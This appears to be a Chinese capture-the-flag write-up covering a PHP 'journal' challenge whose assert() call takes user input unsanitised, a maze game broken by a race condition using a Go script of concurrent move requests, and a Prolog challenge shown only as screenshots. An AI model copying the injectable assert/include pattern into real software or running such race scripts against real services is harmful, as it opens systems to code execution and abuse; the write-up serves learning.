Web

journal

题目给出了index.php的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

echo "<p>Welcome to my journal app!</p>";
echo "<p><a href=/?file=file1.txt>file1.txt</a></p>";
echo "<p><a href=/?file=file2.txt>file2.txt</a></p>";
echo "<p><a href=/?file=file3.txt>file3.txt</a></p>";
echo "<p><a href=/?file=file4.txt>file4.txt</a></p>";
echo "<p><a href=/?file=file5.txt>file5.txt</a></p>";
echo "<p>";

if (isset($_GET['file'])) {
$file = $_GET['file'];
$filepath = './files/' . $file;

assert("strpos('$file', '..') === false") or die("Invalid file!");

if (file_exists($filepath)) {
include($filepath);
} else {
echo 'File not found!';
}
}

echo "</p>";

assert可以执行代码。原本想着是吧strpos的括号闭合。然后进行代码执行。。。。

到后来才发现assert不能执行多条语句。

可以用or连接两个语句让assert执行

image-20241101153730600

同时我也发现strpos的参数可以是一个函数

image-20241101153926371

The Amazing Race

进入环境后会自动给我们分配一个uid来唯一的记录我们的游戏进度。游戏中@代表玩家所在的位置。.代表玩家可以走的位置。。。#表示玩家不能通过该位置。F表示游戏终点

在游戏右下角的F四周都被#包围。无法通过正常的方法到达

image-20241104130738986

/source接口中有题目的源码

image-20241104131020564

当我们首次访问/路由的时候会将我们重定向到/<mazeId>路由。然后我们没有<mazeId>会调用createMaze()函数创建一个maze同时生成一个mazeId并将该mazeId与生成的maze绑定

solved变量来表示题目是否解出。当getLoc(mazeId) == (MAZE_SIZE-1, MAZE_SIZE-1)true

即游戏角色到达maze右下角的时候

image-20241104132544042

image-20241104132434137

再来看看源码中给的其他函数方法

源码中initDb()创建了一个表。包含id,maze,row,col,up,down,left,right字段up,down,left,right字段的类型为bool类型

image-20241104131323490

getLoc()函数充数据库中查询出我们当前的位置

image-20241104131640902

getMaze()函数根据mazeId来查询出Maze

image-20241104133626582

getCanMove()通过提供的mazeId来查询当前可以移动的方向

image-20241104133703656

writeLoc将移动过后的位置写入数据库

image-20241104134000151

writeCanMove将移动过位置后可以移动的方向写入数据库

image-20241104134043255

/move前半部分代码接收了GET传入的idmove并分别将他们的值赋给mazeIdmoveStr

随后用getCanMove()函数取出当前位置可以移动的方向

然后定义一个移动列表validMoves并判断move的方向是否合法

image-20241104134131542

之后会用getLoc()函数获取到玩家的位置。然后对玩家的位置进行更新。然后更新迷宫将玩家的老位置设置为

.新位置设置为@ 然后使用wirteCanMove更新玩家可以移动的方向

image-20241104134723727

读到这里我仍不知道漏洞点在哪里。我读了siunam的博客之后才知道。可以利用条件竞争来进行欺骗数据库

举个例子

1
想象一下一个银行应用程序,其中两个联名账户的所有者拥有 100 元的余额,他们同时尝试提取 90 元。如果不妥善处理竞争条件,最好的情况是,一个请求更快并首先完成,然后第二个请求由于资金不足而失败,最坏的情况是,他们同时到达数据库,并且都成功地从余额为 100 元的账户中提取了 90 元(总共 180 元),这对银行来说是一种损失,也是应用程序中非常危险的漏洞。

考虑以下迷宫,其中我们只能移动leftright

1
2
3
#######
#@.#..#
#######

尽管有墙,是否可以强制玩家向一侧移动right

为此,我们可以:

玩家移动到left,因此限制方向将right改为left

1
2
3
#######
#@.#..#
#######

现在尝试同时发送 2 个right移动请求

玩家的位置将在中心墙上

1
2
3
#######
#..@..#
#######

为了尝试这一想法我用Golang编写了一个简易的并发程序来验证这一观点

现在我们将@移动到距离#只有一个.的位置上面

image-20241104140244060

然后并发三个数据包成功的将@移动到原本无法到达的#上面(经历了好几次失败)

image-20241104140348313

通过这个思路,我们可以通过并发来突破#的限制

下面是我写的一个脚本,一次只能发送像一个方向移动的包(是的,这个脚本非常垃圾,归根结底还是我太菜了(-̩̩̩-̩̩̩-̩̩̩-̩̩̩-̩̩̩___-̩̩̩-̩̩̩-̩̩̩-̩̩̩-̩̩̩))

大伙可以多发几次来做题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
package main

import (
"fmt"
"net/http"
"net/url"
"sync"
)

var wg sync.WaitGroup

func move(target, id, direction string) {
defer wg.Done() // 确保在函数结束时调用 Done

param := make(url.Values)
param.Add("id", id)
param.Add("move", direction)
data := param.Encode()

req, err := http.NewRequest("POST", target, nil)
if err != nil {
fmt.Println(err)
return // 处理错误后返回
}
req.URL.RawQuery = data

// 发送请求
resp, err := http.DefaultClient.Do(req)
if err != nil {
fmt.Println(err)
return // 处理错误后返回
}
defer resp.Body.Close() // 正确关闭响应体

fmt.Printf("Response status: %s\n", resp.Status)
}

func main() {
target := "http://xxx.xxx.xxx.xxx:xxxx/move" //你的url
id := "xxxxxxxxxx"

for i := 0; i < 3; i++ {
wg.Add(1) // 在启动 goroutine 前添加计数
go func() {
move(target, id, "right")
}()
}

wg.Wait() // 等待所有 goroutine 完成
}

不知道为什么在使用我这个脚本的时候会出现@分身的问题

image-20241104140909500

官网给的这个题目的难度分级为3 (满分10)

image-20241104141607765

Pwning en Logique

我见到的第一个prolog语言出的题目

附件给的源码看了不难理解(我没接触过这门语言仍能看懂) 只是大概理解 , 大概率有很大的偏差

image-20241201224102851

image-20241201224209427

image-20241201224248995

image-20241201224327748

image-20241201224454252

image-20241201224549202